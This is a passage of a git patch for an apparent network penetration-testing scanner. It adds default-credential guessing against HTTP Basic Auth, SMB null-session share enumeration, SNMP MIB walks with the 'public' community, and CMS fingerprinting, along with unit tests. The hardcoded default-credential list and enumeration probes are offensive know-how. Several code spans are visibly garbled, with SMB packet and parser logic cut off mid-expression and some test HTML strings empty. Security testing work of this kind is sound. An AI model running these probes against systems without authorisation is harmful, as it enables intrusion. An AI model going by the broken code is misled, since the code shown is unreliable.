suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) runner.run(suite) From 054d76857cad0d6f2e05639c6352f7badff3e39e Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 13:57:27 +0000 Subject: [PATCH 23/42] fix: improve web tests | add cms fingerprinting --- .../business/cybersec/red_mesh/constants.py | 7 +- .../cybersec/red_mesh/service_mixin.py | 793 ++++++++++++++++++ .../cybersec/red_mesh/test_redmesh.py | 270 ++++++ .../cybersec/red_mesh/web_discovery_mixin.py | 180 ++++ .../cybersec/red_mesh/web_hardening_mixin.py | 86 ++ 5 files changed, 1333 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index c47d2c04..1b063290 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -48,14 +48,14 @@ "label": "Discovery", "description": "Enumerate exposed files, admin panels, homepage secrets, tech fingerprinting, and VPN endpoints (OWASP WSTG-INFO).", "category": "web", - "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints"] + "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint"] }, { "id": "web_hardening", "label": "Hardening audit", "description": "Audit cookie flags, security headers, CORS policy, redirect handling, and HTTP methods (OWASP WSTG-CONF).", "category": "web", - "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods"] + "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods", "_web_test_csrf"] }, { "id": "web_api_exposure", @@ -76,7 +76,7 @@ "label": "Credential testing", "description": "Test default/weak credentials on database and remote access services. May trigger account lockout.", "category": "service", - "methods": ["_service_info_mysql_creds", "_service_info_postgresql_creds"] + "methods": ["_service_info_mysql_creds", "_service_info_postgresql_creds", "_service_info_http_basic_auth"] }, { "id": "post_scan_correlation", @@ -172,6 +172,7 @@ "_service_info_generic": frozenset({"unknown"}), "_service_info_mysql_creds": frozenset({"mysql"}), "_service_info_postgresql_creds": frozenset({"postgresql"}), + "_service_info_http_basic_auth": frozenset({"http", "https"}), } # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/service_mixin.py b/extensions/business/cybersec/red_mesh/service_mixin.py index bb859739..0c835b40 100644 --- a/extensions/business/cybersec/red_mesh/service_mixin.py +++ b/extensions/business/cybersec/red_mesh/service_mixin.py @@ -378,6 +378,104 @@ def _service_info_https(self, target, port): # default port: 443 return probe_result(raw_data=raw, findings=findings) + # Default credentials for HTTP Basic Auth testing + _HTTP_BASIC_CREDS = [ + ("admin", "admin"), ("admin", "password"), ("admin", "1234"), + ("root", "root"), ("root", "password"), ("root", "toor"), + ("user", "user"), ("test", "test"), ("guest", "guest"), + ("admin", ""), ("tomcat", "tomcat"), ("manager", "manager"), + ] + + def _service_info_http_basic_auth(self, target, port): + """ + Test HTTP Basic Auth endpoints for default/weak credentials. + + Only runs when the target responds with 401 + WWW-Authenticate: Basic. + Tests a small set of default credential pairs. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict or None + Structured findings, or None if no Basic Auth detected. + """ + findings = [] + raw = {"basic_auth_detected": False, "tested": 0, "accepted": []} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # Probe / and /admin for 401 + Basic auth + auth_url = None + realm = None + for path in ("/", "/admin", "/manager"): + try: + resp = requests.get(base_url + path, timeout=3, verify=False) + if resp.status_code == 401: + www_auth = resp.headers.get("WWW-Authenticate", "") + if "Basic" in www_auth: + auth_url = base_url + path + realm_match = _re.search(r'realm="?([^"]*)"?', www_auth, _re.IGNORECASE) + realm = realm_match.group(1) if realm_match else "unknown" + break + except Exception: + continue + + if not auth_url: + return None # No Basic auth detected — skip entirely + + raw["basic_auth_detected"] = True + raw["realm"] = realm + + # Test credentials + consecutive_401 = 0 + for username, password in self._HTTP_BASIC_CREDS: + try: + resp = requests.get(auth_url, timeout=3, verify=False, auth=(username, password)) + raw["tested"] += 1 + + if resp.status_code == 429: + break # rate limited — stop + + if resp.status_code == 200 or resp.status_code == 301 or resp.status_code == 302: + cred_str = f"{username}:{password}" if password else f"{username}:(empty)" + raw["accepted"].append(cred_str) + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"HTTP Basic Auth default credential: {cred_str}", + description=f"The web server at {auth_url} (realm: {realm}) accepted a default credential.", + evidence=f"GET {auth_url} with {cred_str} → HTTP {resp.status_code}", + remediation="Change default credentials immediately.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + elif resp.status_code == 401: + consecutive_401 += 1 + except Exception: + break + + # No rate limiting after all attempts + if consecutive_401 >= len(self._HTTP_BASIC_CREDS) - 1: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"HTTP Basic Auth has no rate limiting ({raw['tested']} attempts accepted)", + description="The server does not rate-limit failed authentication attempts.", + evidence=f"{consecutive_401} consecutive 401 responses without rate limiting.", + remediation="Implement account lockout or rate limiting for failed auth attempts.", + owasp_id="A07:2021", + cwe_id="CWE-307", + confidence="firm", + )) + + return probe_result(raw_data=raw, findings=findings) + + def _service_info_tls(self, target, port): """ Inspect TLS handshake, certificate chain, and cipher strength. @@ -2847,6 +2945,36 @@ def _service_info_smb(self, target, port): # default port: 445 # CVE check findings += check_cves("samba", samba_version) + # Share enumeration via null session + shares = self._smb_enum_shares(target, port) + if shares: + raw["shares"] = shares + share_names = [s["name"] for s in shares] + admin_shares = [s["name"] for s in shares if s["name"].upper() in ("ADMIN$", "C$", "D$", "E$")] + + if admin_shares: + findings.append(Finding( + severity=Severity.HIGH, + title=f"SMB admin shares accessible via null session: {', '.join(admin_shares)}", + description="Administrative shares are accessible without authentication.", + evidence=f"Shares: {share_names}", + remediation="Disable null session access; restrict admin shares.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + else: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"SMB null session share enumeration ({len(shares)} shares listed)", + description="Anonymous user can enumerate available SMB shares.", + evidence=f"Shares: {share_names}", + remediation="Restrict anonymous share enumeration (RestrictNullSessAccess=1).", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + if not findings: findings.append(Finding( severity=Severity.MEDIUM, @@ -2872,6 +3000,474 @@ def _smb_recv_exact(sock, nbytes): buf += chunk return buf + def _smb_enum_shares(self, target, port): + """Enumerate SMB shares via null session + IPC$ + srvsvc NetShareEnumAll. + + Performs the full SMBv1 protocol sequence: + Negotiate -> Session Setup (null) -> Tree Connect IPC$ -> + Open \\srvsvc pipe -> DCE/RPC Bind -> NetShareEnumAll -> parse results. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + SMB port (typically 445). + + Returns + ------- + list[dict] + Each dict has keys ``name`` (str), ``type`` (int), ``comment`` (str). + Returns empty list on any failure. + """ + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(4) + sock.connect((target, port)) + + def _send_smb(payload): + nb_hdr = b"\x00" + struct.pack(">I", len(payload))[1:] + sock.sendall(nb_hdr + payload) + + def _recv_smb(): + resp_hdr = self._smb_recv_exact(sock, 4) + if not resp_hdr: + return None + resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] + return self._smb_recv_exact(sock, min(resp_len, 65536)) + + # ---- 1. Negotiate (NT LM 0.12) ---- + dialects = b"\x02NT LM 0.12\x00" + smb_hdr = bytearray(32) + smb_hdr[0:4] = b"\xffSMB" + smb_hdr[4] = 0x72 # Negotiate + smb_hdr[13] = 0x18 + struct.pack_into(" len(enum_resp): + data_len = len(enum_resp) - data_off + if data_off >= len(enum_resp) or data_len < 24: + return [] + + dce_data = enum_resp[data_off:data_off + data_len] + + # DCE/RPC response header is 24 bytes, then stub data + if len(dce_data) < 24: + return [] + dce_stub = dce_data[24:] + + return self._parse_netshareenumall_response(dce_stub) + + except Exception: + return [] + finally: + if sock: + try: + sock.close() + except Exception: + pass + + @staticmethod + def _parse_netshareenumall_response(stub): + """Parse NetShareEnumAll DCE/RPC stub response into share list. + + Parameters + ---------- + stub : bytes + DCE/RPC stub data (after the 24-byte response header). + + Returns + ------- + list[dict] + Each dict: {"name": str, "type": int, "comment": str}. + """ + shares = [] + try: + if len(stub) < 20: + return [] + + # Response stub layout: + # [4] info_level + # [4] switch_value + # [4] referent pointer for SHARE_INFO_1_CONTAINER + # [4] entries_read + # [4] referent pointer for array + # Then for each entry: [4] name_ptr, [4] type, [4] comment_ptr + # Then the actual strings (NDR conformant arrays) + + offset = 0 + offset += 4 # info_level + offset += 4 # switch_value + offset += 4 # referent pointer + if offset + 4 > len(stub): + return [] + entries_read = struct.unpack_from(" 500: + return [] + + offset += 4 # array referent pointer + offset += 4 # max count (NDR array header) + + # Read the fixed-size entries: name_ptr(4) + type(4) + comment_ptr(4) each + entry_records = [] + for _ in range(entries_read): + if offset + 12 > len(stub): + break + name_ptr = struct.unpack_from(" len(data): + return "", off + max_count = struct.unpack_from(" len(data): + s = data[off:].decode("utf-16-le", errors="ignore").rstrip("\x00") + return s, len(data) + s = data[off:off + byte_len].decode("utf-16-le", errors="ignore").rstrip("\x00") + off += byte_len + # Align to 4-byte boundary + if off % 4: + off += 4 - (off % 4) + return s, off + + for name_ptr, share_type, comment_ptr in entry_records: + name, offset = read_ndr_string(stub, offset) + comment, offset = read_ndr_string(stub, offset) + if name: + shares.append({ + "name": name, + "type": share_type, + "comment": comment, + }) + + except Exception: + pass + return shares + def _smb_try_null_session(self, target, port): """Attempt SMBv1 null session to extract Samba version from SessionSetup response. @@ -3544,6 +4140,12 @@ def _service_info_snmp(self, target, port): # default port: 161 cwe_id="CWE-798", confidence="certain", )) + # Walk system MIB for additional intel + mib_result = self._snmp_walk_system_mib(target, port) + if mib_result: + sys_info = mib_result.get("system", {}) + raw.update(sys_info) + findings.extend(mib_result.get("findings", [])) else: raw["banner"] = readable.strip()[:120] findings.append(Finding( @@ -3562,6 +4164,197 @@ def _service_info_snmp(self, target, port): # default port: 161 sock.close() return probe_result(raw_data=raw, findings=findings) + # -- SNMP MIB walk helpers ------------------------------------------------ + + _ICS_KEYWORDS = frozenset({ + "siemens", "simatic", "schneider", "allen-bradley", "honeywell", + "abb", "modicon", "rockwell", "yokogawa", "emerson", "ge fanuc", + }) + + def _is_ics_indicator(self, text): + lower = text.lower() + return any(kw in lower for kw in self._ICS_KEYWORDS) + + @staticmethod + def _snmp_encode_oid(oid_str): + parts = [int(p) for p in oid_str.split(".")] + body = bytes([40 * parts[0] + parts[1]]) + for v in parts[2:]: + if v < 128: + body += bytes([v]) + else: + chunks = [] + chunks.append(v & 0x7F) + v >>= 7 + while v: + chunks.append(0x80 | (v & 0x7F)) + v >>= 7 + body += bytes(reversed(chunks)) + return body + + def _snmp_build_getnext(self, community, oid_str, request_id=1): + oid_body = self._snmp_encode_oid(oid_str) + oid_tlv = bytes([0x06, len(oid_body)]) + oid_body + varbind = bytes([0x30, len(oid_tlv) + 2]) + oid_tlv + b"\x05\x00" + varbind_seq = bytes([0x30, len(varbind)]) + varbind + req_id = bytes([0x02, 0x01, request_id & 0xFF]) + err_status = b"\x02\x01\x00" + err_index = b"\x02\x01\x00" + pdu_body = req_id + err_status + err_index + varbind_seq + pdu = bytes([0xA1, len(pdu_body)]) + pdu_body + version = b"\x02\x01\x00" + comm = bytes([0x04, len(community)]) + community.encode() + inner = version + comm + pdu + return bytes([0x30, len(inner)]) + inner + + @staticmethod + def _snmp_parse_response(data): + try: + pos = 0 + if data[pos] != 0x30: + return None, None + pos += 2 # skip SEQUENCE tag + length + # skip version + if data[pos] != 0x02: + return None, None + pos += 2 + data[pos + 1] + # skip community + if data[pos] != 0x04: + return None, None + pos += 2 + data[pos + 1] + # response PDU (0xA2) + if data[pos] != 0xA2: + return None, None + pos += 2 + # skip request-id, error-status, error-index (3 integers) + for _ in range(3): + pos += 2 + data[pos + 1] + # varbind list SEQUENCE + pos += 2 # skip SEQUENCE tag + length + # first varbind SEQUENCE + pos += 2 # skip SEQUENCE tag + length + # OID + if data[pos] != 0x06: + return None, None + oid_len = data[pos + 1] + oid_bytes = data[pos + 2: pos + 2 + oid_len] + # decode OID + parts = [str(oid_bytes[0] // 40), str(oid_bytes[0] % 40)] + i = 1 + while i < len(oid_bytes): + if oid_bytes[i] < 128: + parts.append(str(oid_bytes[i])) + i += 1 + else: + val = 0 + while i < len(oid_bytes) and oid_bytes[i] & 0x80: + val = (val << 7) | (oid_bytes[i] & 0x7F) + i += 1 + if i < len(oid_bytes): + val = (val << 7) | oid_bytes[i] + i += 1 + parts.append(str(val)) + oid_str = ".".join(parts) + pos += 2 + oid_len + # value + val_tag = data[pos] + val_len = data[pos + 1] + val_raw = data[pos + 2: pos + 2 + val_len] + if val_tag == 0x04: # OCTET STRING + value = val_raw.decode("utf-8", errors="replace") + elif val_tag == 0x02: # INTEGER + value = str(int.from_bytes(val_raw, "big", signed=True)) + elif val_tag == 0x43: # TimeTicks + value = str(int.from_bytes(val_raw, "big")) + elif val_tag == 0x40: # IpAddress (APPLICATION 0) + if len(val_raw) == 4: + value = ".".join(str(b) for b in val_raw) + else: + value = val_raw.hex() + else: + value = val_raw.hex() + return oid_str, value + except Exception: + return None, None + + _SYSTEM_OID_NAMES = { + "1.3.6.1.2.1.1.1": "sysDescr", + "1.3.6.1.2.1.1.3": "sysUpTime", + "1.3.6.1.2.1.1.4": "sysContact", + "1.3.6.1.2.1.1.5": "sysName", + "1.3.6.1.2.1.1.6": "sysLocation", + } + + def _snmp_walk_system_mib(self, target, port): + import ipaddress as _ipaddress + system = {} + walk_findings = [] + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + + def _walk(prefix): + oid = prefix + results = [] + for _ in range(20): + pkt = self._snmp_build_getnext("public", oid) + sock.sendto(pkt, (target, port)) + try: + resp, _ = sock.recvfrom(1024) + except socket.timeout: + break + resp_oid, resp_val = self._snmp_parse_response(resp) + if resp_oid is None or not resp_oid.startswith(prefix + "."): + break + results.append((resp_oid, resp_val)) + oid = resp_oid + return results + + # Walk system MIB subtree + for resp_oid, resp_val in _walk("1.3.6.1.2.1.1"): + base = ".".join(resp_oid.split(".")[:8]) + name = self._SYSTEM_OID_NAMES.get(base) + if name: + system[name] = resp_val + + sys_descr = system.get("sysDescr", "") + if sys_descr: + self._emit_metadata("os_claims", f"snmp:{port}", sys_descr) + if self._is_ics_indicator(sys_descr): + walk_findings.append(Finding( + severity=Severity.HIGH, + title="SNMP exposes ICS/SCADA device identity", + description=f"sysDescr contains ICS keywords: {sys_descr[:120]}", + evidence=f"sysDescr={sys_descr[:120]}", + remediation="Isolate ICS devices from general network; restrict SNMP access.", + confidence="firm", + )) + + # Walk ipAddrTable for interface IPs + for resp_oid, resp_val in _walk("1.3.6.1.2.1.4.20.1.1"): + try: + addr = _ipaddress.ip_address(resp_val) + except (ValueError, TypeError): + continue + if addr.is_private: + self._emit_metadata("internal_ips", {"ip": str(addr), "source": f"snmp_interface:{port}"}) + walk_findings.append(Finding( + severity=Severity.MEDIUM, + title=f"SNMP leaks internal IP address {addr}", + description="Interface IP from ipAddrTable is RFC1918, revealing internal topology.", + evidence=f"ipAddrEntry={resp_val}", + remediation="Restrict SNMP read access; filter sensitive MIBs.", + confidence="certain", + )) + except Exception: + pass + finally: + if sock is not None: + sock.close() + if not system and not walk_findings: + return None + return {"system": system, "findings": walk_findings} def _service_info_dns(self, target, port): # default port: 53 """ diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index b270a4a3..87fe0492 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4771,6 +4771,275 @@ def test_es_nodes_jvm_modern_no_finding(self): self.assertFalse(any("EOL JVM" in t for t in titles)) +class TestPhase17bMediumFeatures(unittest.TestCase): + """Phase 17b: Medium feature probe enhancements.""" + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-17b", + initiator="init@example", + local_id_prefix="M", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ---- 17b-2: HTTP Basic Auth ---- + + def test_http_basic_auth_detects_default_creds(self): + """Default admin:admin credential flagged when accepted.""" + _, worker = self._build_worker(ports=[80]) + + def mock_get(url, **kwargs): + resp = MagicMock() + auth = kwargs.get("auth") + if auth is None: + # Initial probe — return 401 with Basic auth + resp.status_code = 401 + resp.headers = {"WWW-Authenticate": 'Basic realm="test"'} + elif auth == ("admin", "admin"): + resp.status_code = 200 + resp.headers = {} + else: + resp.status_code = 401 + resp.headers = {} + return resp + + with patch('requests.get', side_effect=mock_get): + result = worker._service_info_http_basic_auth("10.0.0.1", 80) + self.assertIsNotNone(result) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("default credential" in t.lower() for t in titles), f"titles={titles}") + + def test_http_basic_auth_skips_non_basic(self): + """Probe returns None when no Basic auth is present.""" + _, worker = self._build_worker(ports=[80]) + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.headers = {} + with patch('requests.get', return_value=mock_resp): + result = worker._service_info_http_basic_auth("10.0.0.1", 80) + self.assertIsNone(result) + + def test_http_basic_auth_no_rate_limiting(self): + """Flags missing rate limiting when all attempts return 401.""" + _, worker = self._build_worker(ports=[80]) + call_count = [0] + + def mock_get(url, **kwargs): + resp = MagicMock() + call_count[0] += 1 + resp.status_code = 401 + resp.headers = {"WWW-Authenticate": 'Basic realm="test"'} + return resp + + with patch('requests.get', side_effect=mock_get): + result = worker._service_info_http_basic_auth("10.0.0.1", 80) + self.assertIsNotNone(result) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("rate limiting" in t.lower() for t in titles), f"titles={titles}") + + # ---- 17b-3: CSRF detection ---- + + def test_csrf_detects_missing_token(self): + """POST form without CSRF hidden field is flagged.""" + _, worker = self._build_worker(ports=[80]) + html = '
' + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.text = html + mock_resp.headers = {} + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_csrf("10.0.0.1", 80) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("csrf" in t.lower() for t in titles), f"titles={titles}") + + def test_csrf_passes_with_token(self): + """POST form with csrf_token field passes.""" + _, worker = self._build_worker(ports=[80]) + html = '
' + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.text = html + mock_resp.headers = {} + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_csrf("10.0.0.1", 80) + findings = result.get("findings", []) + csrf_findings = [f for f in findings if "csrf" in f.get("title", "").lower()] + self.assertEqual(len(csrf_findings), 0) + + def test_csrf_passes_with_header_token(self): + """SPA-style X-CSRF-Token header causes skip.""" + _, worker = self._build_worker(ports=[80]) + html = '
' + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.text = html + mock_resp.headers = {"x-csrf-token": "abc123"} + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_csrf("10.0.0.1", 80) + findings = result.get("findings", []) + csrf_findings = [f for f in findings if "csrf" in f.get("title", "").lower()] + self.assertEqual(len(csrf_findings), 0) + + # ---- 17b-4: SNMP MIB walk ---- + + def test_snmp_getnext_packet_valid(self): + """GETNEXT packet is well-formed ASN.1.""" + _, worker = self._build_worker() + pkt = worker._snmp_build_getnext("public", "1.3.6.1.2.1.1.0") + # First byte is 0x30 (SEQUENCE) + self.assertEqual(pkt[0], 0x30) + # Community string "public" should be embedded + self.assertIn(b"public", pkt) + + def test_snmp_encode_oid_basic(self): + """OID encoding for well-known system MIB OID.""" + _, worker2 = self._build_worker() + encoded = worker2._snmp_encode_oid("1.3.6.1.2.1.1.1.0") + # First byte: 40*1 + 3 = 43 = 0x2B + self.assertEqual(encoded[0], 0x2B) + + def test_snmp_encode_oid_large_value(self): + """OID encoding handles values >= 128.""" + _, worker = self._build_worker() + encoded = worker._snmp_encode_oid("1.3.6.1.2.1.4.20.1.1") + self.assertEqual(encoded[0], 0x2B) # 40*1 + 3 + + def test_snmp_parse_response_valid(self): + """Parse a well-formed SNMP response.""" + # Build a valid SNMP response manually + _, worker = self._build_worker() + # Construct minimal SNMP response with OID 1.3.6.1.2.1.1.1.0 and value "Linux" + oid_body = worker._snmp_encode_oid("1.3.6.1.2.1.1.1.0") + oid_tlv = bytes([0x06, len(oid_body)]) + oid_body + value = b"Linux" + val_tlv = bytes([0x04, len(value)]) + value + varbind = bytes([0x30, len(oid_tlv) + len(val_tlv)]) + oid_tlv + val_tlv + varbind_seq = bytes([0x30, len(varbind)]) + varbind + req_id = b"\x02\x01\x01" + err_status = b"\x02\x01\x00" + err_index = b"\x02\x01\x00" + pdu_body = req_id + err_status + err_index + varbind_seq + pdu = bytes([0xA2, len(pdu_body)]) + pdu_body + version = b"\x02\x01\x00" + comm = bytes([0x04, 0x06]) + b"public" + inner = version + comm + pdu + packet = bytes([0x30, len(inner)]) + inner + + oid_str, val_str = worker._snmp_parse_response(packet) + self.assertEqual(oid_str, "1.3.6.1.2.1.1.1.0") + self.assertEqual(val_str, "Linux") + + def test_snmp_ics_detection(self): + """ICS keywords in sysDescr trigger detection.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_ics_indicator("Siemens SIMATIC S7-300")) + self.assertTrue(worker._is_ics_indicator("Schneider Electric Modicon M340")) + self.assertFalse(worker._is_ics_indicator("Linux 5.15.0-generic")) + + # ---- 17b-5: CMS fingerprinting ---- + + def test_cms_detects_wordpress(self): + """WordPress detected via generator meta tag.""" + _, worker = self._build_worker(ports=[80]) + html = '' + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.status_code = 200 + mock_resp.text = html + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_cms_fingerprint("10.0.0.1", 80) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("WordPress 6.4.2" in t for t in titles), f"titles={titles}") + + def test_cms_detects_drupal_changelog(self): + """Drupal detected via CHANGELOG.txt.""" + _, worker = self._build_worker(ports=[80]) + + def mock_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + if "CHANGELOG" in url: + resp.text = "Drupal 10.2.1 (2024-01-15)" + else: + resp.text = "Hello" + return resp + + with patch('requests.get', side_effect=mock_get): + result = worker._web_test_cms_fingerprint("10.0.0.1", 80) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("Drupal 10.2.1" in t for t in titles), f"titles={titles}") + + def test_cms_flags_eol_drupal7(self): + """Drupal 7 flagged as EOL.""" + _, worker = self._build_worker(ports=[80]) + findings = worker._cms_check_eol("Drupal", "7.98") + self.assertTrue(any("end-of-life" in f.title.lower() for f in findings)) + + def test_cms_no_eol_modern_wordpress(self): + """WordPress 6.x not flagged as EOL.""" + _, worker = self._build_worker(ports=[80]) + findings = worker._cms_check_eol("WordPress", "6.4.2") + eol_findings = [f for f in findings if "end-of-life" in f.title.lower()] + self.assertEqual(len(eol_findings), 0) + + # ---- 17b-1: SMB share enumeration ---- + + def test_smb_enum_shares_returns_list(self): + """_smb_enum_shares returns empty list on connection failure.""" + _, worker = self._build_worker(ports=[445]) + result = worker._smb_enum_shares("192.0.2.1", 99999) + self.assertIsInstance(result, list) + self.assertEqual(len(result), 0) + + def test_smb_parse_netshareenumall_empty(self): + """Empty stub data returns empty list.""" + _, worker = self._build_worker(ports=[445]) + result = worker._parse_netshareenumall_response(b"") + self.assertEqual(result, []) + + def test_smb_parse_netshareenumall_too_short(self): + """Short stub returns empty list.""" + _, worker = self._build_worker(ports=[445]) + result = worker._parse_netshareenumall_response(b"\x00" * 10) + self.assertEqual(result, []) + + def test_smb_share_wiring_admin_shares_high(self): + """Admin shares found via null session produce HIGH finding.""" + _, worker = self._build_worker(ports=[445]) + mock_shares = [ + {"name": "IPC$", "type": 3, "comment": "IPC Service"}, + {"name": "C$", "type": 0, "comment": "Default share"}, + {"name": "public", "type": 0, "comment": "Public files"}, + ] + with patch.object(worker, '_smb_enum_shares', return_value=mock_shares), \ + patch.object(worker, '_smb_try_null_session', return_value="4.10.0"), \ + patch('socket.socket') as mock_sock_cls: + mock_sock = MagicMock() + mock_sock_cls.return_value = mock_sock + # Return SMBv1 negotiate response + smb_resp = bytearray(128) + smb_resp[0:4] = b"\xffSMB" + smb_resp[4] = 0x72 + smb_resp[32] = 17 # word_count + smb_resp[35] = 0x08 # security_mode (signing required) + mock_sock.recv.side_effect = [ + b"\x00\x00\x00\x80", # NetBIOS header + bytes(smb_resp), # SMB response + ] + result = worker._service_info_smb("10.0.0.1", 445) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("admin shares" in t.lower() for t in titles), f"titles={titles}") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4794,4 +5063,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17bMediumFeatures)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index e5799668..f6ce896f 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -315,3 +315,183 @@ def _web_test_vpn_endpoints(self, target, port): pass return probe_result(raw_data=raw, findings=findings_list) + + + # --- CMS fingerprinting --- + + _CMS_EOL = { + "WordPress": {"3": "2015", "4": "2018"}, + "Drupal": {"7": "2025-01", "8": "2021-11"}, + "Joomla": {"3": "2023-08"}, + } + + _WP_SENSITIVE_PATHS = [ + ("/xmlrpc.php", "WordPress XML-RPC — brute-force amplification vector"), + ("/wp-json/wp/v2/users", "WordPress REST API user enumeration"), + ] + + def _web_test_cms_fingerprint(self, target, port): + """ + Detect and version-check common CMS platforms (WordPress, Drupal, Joomla). + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Web port to probe. + + Returns + ------- + dict + Structured findings with CMS name, version, and EOL status. + """ + findings_list = [] + raw = {"cms": None, "version": None} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" + if port not in (80, 443): + base_url = f"{scheme}://{target}:{port}" + + # --- WordPress detection --- + wp_version = None + try: + resp = requests.get(base_url, timeout=3, verify=False) + if resp.ok: + gen_match = _re.search( + r']*name=["\']generator["\'][^>]*content=["\']WordPress\s+([0-9.]+)', + resp.text, _re.IGNORECASE, + ) + if gen_match: + wp_version = gen_match.group(1) + elif '/wp-content/' in resp.text or '/wp-includes/' in resp.text: + wp_version = "unknown" + except Exception: + pass + + if not wp_version: + try: + resp = requests.get(base_url + "/wp-login.php", timeout=3, verify=False, allow_redirects=False) + if resp.status_code in (200, 302) and ('wp-login' in resp.text.lower() or 'wordpress' in resp.text.lower()): + wp_version = "unknown" + except Exception: + pass + + if wp_version: + raw["cms"] = "WordPress" + raw["version"] = wp_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"WordPress {wp_version} detected", + description=f"WordPress {wp_version} identified on {target}:{port}.", + evidence="Detection via generator tag or wp-content paths.", + remediation="Keep WordPress updated to the latest version.", + confidence="certain", + )) + findings_list += self._cms_check_eol("WordPress", wp_version) + for path, desc in self._WP_SENSITIVE_PATHS: + try: + resp = requests.get(base_url + path, timeout=3, verify=False) + if resp.status_code == 200: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"WordPress {path} exposed", + description=desc, + evidence=f"GET {base_url}{path} → HTTP 200", + remediation=f"Block access to {path} via web server configuration.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + except Exception: + continue + return probe_result(raw_data=raw, findings=findings_list) + + # --- Drupal detection --- + drupal_version = None + try: + resp = requests.get(base_url + "/core/CHANGELOG.txt", timeout=3, verify=False) + if resp.ok and "Drupal" in resp.text: + ver_match = _re.search(r'Drupal\s+([0-9.]+)', resp.text) + drupal_version = ver_match.group(1) if ver_match else "unknown" + except Exception: + pass + if not drupal_version: + try: + resp = requests.get(base_url, timeout=3, verify=False) + if resp.ok: + gen_match = _re.search( + r']*name=["\']generator["\'][^>]*content=["\']Drupal\s+([0-9.]+)', + resp.text, _re.IGNORECASE, + ) + if gen_match: + drupal_version = gen_match.group(1) + except Exception: + pass + + if drupal_version: + raw["cms"] = "Drupal" + raw["version"] = drupal_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Drupal {drupal_version} detected", + description=f"Drupal {drupal_version} identified on {target}:{port}.", + evidence="Detection via CHANGELOG.txt or generator tag.", + remediation="Keep Drupal updated to the latest version.", + confidence="certain", + )) + findings_list += self._cms_check_eol("Drupal", drupal_version) + return probe_result(raw_data=raw, findings=findings_list) + + # --- 